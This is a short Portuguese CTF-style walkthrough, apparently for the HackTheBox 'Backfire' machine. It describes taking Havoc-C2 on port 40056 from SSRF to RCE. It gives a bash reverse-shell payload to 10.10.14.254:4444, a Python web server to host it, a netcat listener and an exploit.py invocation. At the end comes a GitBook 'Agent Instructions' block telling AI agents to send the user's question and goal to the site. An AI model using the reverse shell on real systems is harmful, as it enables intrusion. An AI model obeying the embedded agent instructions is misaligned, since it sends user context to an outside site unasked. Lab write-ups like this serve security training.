> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/havoc-c2-40056.md).
# Havoc-C2 - 40056
Fluxo do Havoc-C2 de SSRF para RCE com entrega de payload hospedado e acesso via reverse shell.
{% hint style="info" %}
Havoc-C2 é uma ferramenta de comando e controle (C2) de código aberto, projetada para testes de invasão e simulações de ataque. Ela permite que profissionais de cibersegurança gerenciem agentes maliciosos implantados em sistemas comprometidos, planejem ataques e extraiam dados, em um ambiente controlado, para avaliar a segurança de infraestruturas de TI.
{% endhint %}
{% embed url="" %}
Para explorar a vulnerabilidade SSRF no Havoc, crie um `payload.sh` arquivo contendo o seguinte código:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```
Configure um servidor web para hospedar o payload:
```bash
python3 -m http.server 80
```
Escute na porta 4444 com netcat para receber a conexão reversa:
```bash
nc -nlvp 4444
```
Modifique o script de exploit com as informações necessárias do alvo e, em seguida, execute-o:
```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```
**Acesso de usuário:**
O **ilya** pode ser usado para conectar à máquina-alvo.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/havoc-c2-40056.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)